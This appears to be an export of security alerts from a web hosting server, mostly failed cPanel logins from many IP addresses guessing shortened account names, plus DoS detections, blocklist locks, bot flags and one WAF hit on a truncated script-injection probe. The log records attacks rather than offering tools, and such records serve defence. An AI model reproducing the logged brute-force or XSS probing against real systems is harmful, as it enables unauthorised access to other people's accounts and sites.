[2026-06-26 02:31:40 +0000] info [cpaneld] 24.62.94.171 - be "GET /login/?login_only=1&user=be&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user be (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.245.240.189
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:104.245.240.189||TA:104.245.240.189||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.147.11.100
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:02-31.45.147.11.100||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.87.28.223
country_id: 6252001
description:
[2026-06-26 02:32:53 +0000] info [cpaneld] 67.87.28.223 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.223.185.80
country_id: 6252001
description:
[2026-06-26 02:33:01 +0000] info [cpaneld] 47.223.185.80 - lepopuli "GET /login/?login_only=1&user=lepopuli&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopuli (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.193.159.45
country_id: 6252001
description:
[2026-06-26 02:33:07 +0000] info [cpaneld] 24.193.159.45 - ist "GET /login/?login_only=1&user=ist&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ist (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.59.161.202
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.59.161.202: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.234.137.3
country_id: 690791
description:
Jun 26 02:32:16 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.234.137.3 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.77.240.248
country_id: 6252001
description:
[2026-06-26 02:33:04 +0000] info [cpaneld] 173.77.240.248 - lepopul "GET /login/?login_only=1&user=lepopul&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopul (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.237.212.83
country_id: 3469034
description:
[2026-06-26 02:33:31 +0000] info [cpaneld] 45.237.212.83 - scafric "GET /login/?login_only=1&user=scafric&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafric (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.227.74.188
country_id: 3865483
description:
[2026-06-26 02:33:25 +0000] info [cpaneld] 148.227.74.188 - scafrica "GET /login/?login_only=1&user=scafrica&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafrica (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.46.65.66
country_id: 1512440
description:
[2026-06-26 02:33:46 +0000] info [cpaneld] 95.46.65.66 - sca "GET /login/?login_only=1&user=sca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.0.105.93
country_id: 6252001
description:
[2026-06-26 02:33:13 +0000] info [cpaneld] 73.0.105.93 - lepo "GET /login/?login_only=1&user=lepo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.94.26.179
country_id: 2017370
description:
[2026-06-26 02:33:38 +0000] info [cpaneld] 85.94.26.179 - scafr "GET /login/?login_only=1&user=scafr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user scafr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.57.134.7
country_id: 6252001
description:
[2026-06-26 02:35:04 +0000] info [cpaneld] 174.57.134.7 - togofeed "GET /login/?login_only=1&user=togofeed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togofeed (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.22.84.156
country_id: 1835841
description:
Denial of Service (DoS) attack was discovered from 34.22.84.156: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.141.77.250
country_id: 6252001
description:
[2026-06-26 02:35:33 +0000] info [cpaneld] 47.141.77.250 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.86.122.230
country_id: 6252001
description:
[2026-06-26 02:35:46 +0000] info [cpaneld] 97.86.122.230 - wellcitytg "GET /login/?login_only=1&user=wellcitytg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcitytg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.182.245.145
country_id: 6252001
description:
[2026-06-26 02:35:51 +0000] info [cpaneld] 174.182.245.145 - wellcit "GET /login/?login_only=1&user=wellcit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.126.35.164
country_id: 6252001
description:
[2026-06-26 02:36:03 +0000] info [cpaneld] 69.126.35.164 - wel "GET /login/?login_only=1&user=wel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.85.61.138
country_id: 6252001
description:
[2026-06-26 02:35:30 +0000] info [cpaneld] 72.85.61.138 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 213.230.86.33
country_id: 1512440
description:
213.230.86.33 - - [26/Jun/2026:02:35:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194778&pdata=https%253A%252F%252Fdirect7.tg%252Fgci-des-competences-pretes-a-revendre-sur-le-marche-de-lemploi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782441340 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/gci-des-competences-pretes-a-revendre-sur-le-marche-de-lemploi/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:213.230.86.33


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.165.156.147
country_id: 6252001
description:
[2026-06-26 02:35:43 +0000] info [cpaneld] 73.165.156.147 - wellcity "GET /login/?login_only=1&user=wellcity&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wellcity (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.206.165.18
country_id: 6252001
description:
[2026-06-26 02:36:50 +0000] info [cpaneld] 24.206.165.18 - caissederetraitestg "GET /login/?login_only=1&user=caissederetraitestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraitestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.252.137.69
country_id: 6252001
description:
[2026-06-26 02:36:53 +0000] info [cpaneld] 23.252.137.69 - caissede "GET /login/?login_only=1&user=caissede&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissede (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.193.132.41
country_id: 6252001
description:
[2026-06-26 02:37:02 +0000] info [cpaneld] 216.193.132.41 - caiss "GET /login/?login_only=1&user=caiss&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caiss (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.229.94.108
country_id: 6252001
description:
[2026-06-26 02:37:10 +0000] info [cpaneld] 66.229.94.108 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.68.198.34
country_id: 6252001
description:
[2026-06-26 02:36:41 +0000] info [cpaneld] 173.68.198.34 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.64.171.231
country_id: 6252001
description:
[2026-06-26 02:37:05 +0000] info [cpaneld] 75.64.171.231 - cais "GET /login/?login_only=1&user=cais&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cais (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.115.105.141
country_id: 6252001
description:
[2026-06-26 02:36:47 +0000] info [cpaneld] 73.115.105.141 - caissederetraites "GET /login/?login_only=1&user=caissederetraites&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caissederetraites (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.125.81.33
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 34.125.81.33: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.211.126.227
country_id: 2921044
description:
[2026-06-26 02:38:30 +0000] info [cpaneld] 2.211.126.227 - matwtog "GET /login/?login_only=1&user=matwtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.170.109.100
country_id: 3865483
description:
[2026-06-26 02:38:39 +0000] info [cpaneld] 45.170.109.100 - matwt "GET /login/?login_only=1&user=matwt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.32.215.234
country_id: 3469034
description:
[2026-06-26 02:38:24 +0000] info [cpaneld] 177.32.215.234 - matwtogo "GET /login/?login_only=1&user=matwtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.102.30.34
country_id: 3469034
description:
[2026-06-26 02:38:34 +0000] info [cpaneld] 187.102.30.34 - matwto "GET /login/?login_only=1&user=matwto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwto (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 34.175.233.6
country_id: 2510769
description:
Denial of Service (DoS) attack was discovered from 34.175.233.6: 80 connections per 30 seconds to 443 port.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 85.65.239.212
country_id: 294640
description:
[2026-06-26 02:38:28 +0000] info [cpaneld] 85.65.239.212 - matwtogoorg "GET /login/?login_only=1&user=matwtogoorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogoorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.190.225.74
country_id: 3686110
description:
[2026-06-26 02:38:48 +0000] info [cpaneld] 186.190.225.74 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.214.226
country_id: 933860
description:
Jun 26 02:38:15 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.214.226 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.162.211.250
country_id: 3895114
description:
[2026-06-26 02:43:41 +0000] info [cpaneld] 45.162.211.250 - digilix "GET /login/?login_only=1&user=digilix&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digilix (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.173.164.189
country_id: 3469034
description:
[2026-06-26 02:43:47 +0000] info [cpaneld] 45.173.164.189 - digili "GET /login/?login_only=1&user=digili&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digili (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.141.97.171
country_id: 3996063
description:
[2026-06-26 02:43:57 +0000] info [cpaneld] 201.141.97.171 - dig "GET /login/?login_only=1&user=dig&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dig (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.16.1.199
country_id: 3437598
description:
[2026-06-26 02:44:00 +0000] info [cpaneld] 186.16.1.199 - di "GET /login/?login_only=1&user=di&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user di (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.153.124
country_id: 99237
description:
[2026-06-26 02:43:50 +0000] info [cpaneld] 185.244.153.124 - digil "GET /login/?login_only=1&user=digil&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digil (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.238.175.145
country_id: 3469034
description:
[2026-06-26 02:43:54 +0000] info [cpaneld] 160.238.175.145 - digi "GET /login/?login_only=1&user=digi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user digi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.84.181.243
country_id: 6252001
description:
[2026-06-26 02:46:06 +0000] info [cpaneld] 162.84.181.243 - bawas "GET /login/?login_only=1&user=bawas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 129.222.255.23
country_id: 6252001
description:
[2026-06-26 02:46:09 +0000] info [cpaneld] 129.222.255.23 - bawa "GET /login/?login_only=1&user=bawa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawa (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.59.212
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.20||T:APACHE||RA:104.253.59.212||TA:104.253.59.212||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.1.24.223
country_id: 6252001
description:
[2026-06-26 02:45:50 +0000] info [cpaneld] 73.1.24.223 - bawasongroup "GET /login/?login_only=1&user=bawasongroup&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongroup (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 151.241.119.160
country_id: 6252001
description:
[2026-06-26 02:45:53 +0000] info [cpaneld] 151.241.119.160 - bawasongroupcom "GET /login/?login_only=1&user=bawasongroupcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawasongroupcom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.58.114.63
country_id: 6252001
description:
[2026-06-26 02:46:03 +0000] info [cpaneld] 72.58.114.63 - bawaso "GET /login/?login_only=1&user=bawaso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user bawaso (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.226.230.179
country_id: 6252001
domain: prod.pnls.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/109.0.5414.119 Safari/537.36||RSV:8.20||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 23.94.176.2
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tdn.tg/ HTTP/1.1||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.191.91.219
country_id: 6252001
description:
[2026-06-26 02:50:21 +0000] info [cpaneld] 71.191.91.219 - opaconseilstg "GET /login/?login_only=1&user=opaconseilstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaconseilstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.171.73.174
country_id: 6252001
description:
[2026-06-26 02:50:24 +0000] info [cpaneld] 24.171.73.174 - opaconse "GET /login/?login_only=1&user=opaconse&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaconse (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.247.45.2
country_id: 6252001
description:
[2026-06-26 02:50:44 +0000] info [cpaneld] 162.247.45.2 - opac "GET /login/?login_only=1&user=opac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.50.112.114
country_id: 6252001
description:
[2026-06-26 02:50:51 +0000] info [cpaneld] 73.50.112.114 - op "GET /login/?login_only=1&user=op&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user op (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.172.38.153
country_id: 6252001
description:
[2026-06-26 02:50:36 +0000] info [cpaneld] 174.172.38.153 - opaco "GET /login/?login_only=1&user=opaco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.198.244.226
country_id: 6252001
description:
[2026-06-26 02:51:07 +0000] info [cpaneld] 68.198.244.226 - anrt "GET /login/?login_only=1&user=anrt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anrt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.194.68.121
country_id: 6252001
description:
[2026-06-26 02:50:18 +0000] info [cpaneld] 108.194.68.121 - opaconseils "GET /login/?login_only=1&user=opaconseils&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user opaconseils (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 82.157.61.78
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/la-marque-franco-dimelo-au-coeur-de-la-quinzaine-commerciale-a-lome/<script async src=||RSV:8.20||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.142.242.236
country_id: 6252001
description:
[2026-06-26 02:51:11 +0000] info [cpaneld] 73.142.242.236 - anr "GET /login/?login_only=1&user=anr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user anr (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 40.114.79.135
country_id: 6252001
domain: horizonmedical.tg
description:


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 5.253.57.82
country_id: 798544
description:
2026-06-26 02:53:07 H=([5.253.57.82]) [5.253.57.82]:57120 F=<skycoreai@mymodernhealth.living> rejected RCPT <prakash@white-ways.com>: The mail server could not deliver mail to prakash@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.5.104.24
country_id: 6252001
description:
[2026-06-26 02:54:00 +0000] info [cpaneld] 108.5.104.24 - caseafr "GET /login/?login_only=1&user=caseafr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user caseafr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.255.153.136
country_id: 6252001
description:
[2026-06-26 02:54:07 +0000] info [cpaneld] 69.255.153.136 - casea "GET /login/?login_only=1&user=casea&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user casea (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.98.5.22
country_id: 6252001
description:
[2026-06-26 02:53:45 +0000] info [cpaneld] 97.98.5.22 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 208.161.155.121
country_id: 6252001
description:
[2026-06-26 02:54:12 +0000] info [cpaneld] 208.161.155.121 - cas "GET /login/?login_only=1&user=cas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.57.109.8
country_id: 2017370
description:
[2026-06-26 03:00:19 +0000] info [cpaneld] 178.57.109.8 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 125.212.158.223
country_id: 1562822
description:
[2026-06-26 03:00:23 +0000] info [cpaneld] 125.212.158.223 - wages "GET /login/?login_only=1&user=wages&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wages (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.236.70.30
country_id: 3996063
description:
[2026-06-26 03:00:28 +0000] info [cpaneld] 38.236.70.30 - wagestg "GET /login/?login_only=1&user=wagestg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wagestg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 169.224.25.129
country_id: 99237
description:
[2026-06-26 03:00:32 +0000] info [cpaneld] 169.224.25.129 - wage "GET /login/?login_only=1&user=wage&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wage (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.63.200.100
country_id: 2017370
description:
[2026-06-26 03:00:41 +0000] info [cpaneld] 2.63.200.100 - wa "GET /login/?login_only=1&user=wa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.160.166
country_id: 1880251
description:
[2026-06-26 03:01:45 +0000] info [cpaneld] 104.28.160.166 - nwvfmxat "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.71.3
country_id: 1512440
description:
2026-06-26 03:05:09 H=([84.54.71.3]) [84.54.71.3]:58720 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.174
country_id: 3469034
description:
Jun 26 03:04:17 ns5 auth[57051]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.174 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.28
country_id: 6252001
domain: www.togosem.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.20||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.6
country_id: 6252001
description:
205.169.39.6 - - [26/Jun/2026:03:09:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143849&pdata=http%253A%252F%252Ftogosem.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782443380 HTTP/1.1" 302 0 togosem.com "http://togosem.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.6


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.60.74.171
country_id: 3895114
description:
[2026-06-26 03:10:57 +0000] info [cpaneld] 179.60.74.171 - festicstg "GET /login/?login_only=1&user=festicstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festicstg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [26/Jun/2026:03:10:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9671324&pdata=http%253A%252F%252Ftogosem.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782443446 HTTP/1.1" 302 0 togosem.com "http://togosem.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.172.71.14
country_id: 3469034
description:
[2026-06-26 03:11:04 +0000] info [cpaneld] 45.172.71.14 - festi "GET /login/?login_only=1&user=festi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user festi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.230.145.236
country_id: 3077311
description:
[2026-06-26 03:11:08 +0000] info [cpaneld] 94.230.145.236 - fest "GET /login/?login_only=1&user=fest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.36.178.126
country_id: 3469034
description:
[2026-06-26 03:11:10 +0000] info [cpaneld] 177.36.178.126 - fes "GET /login/?login_only=1&user=fes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 78.190.153.154
country_id: 298795
description:
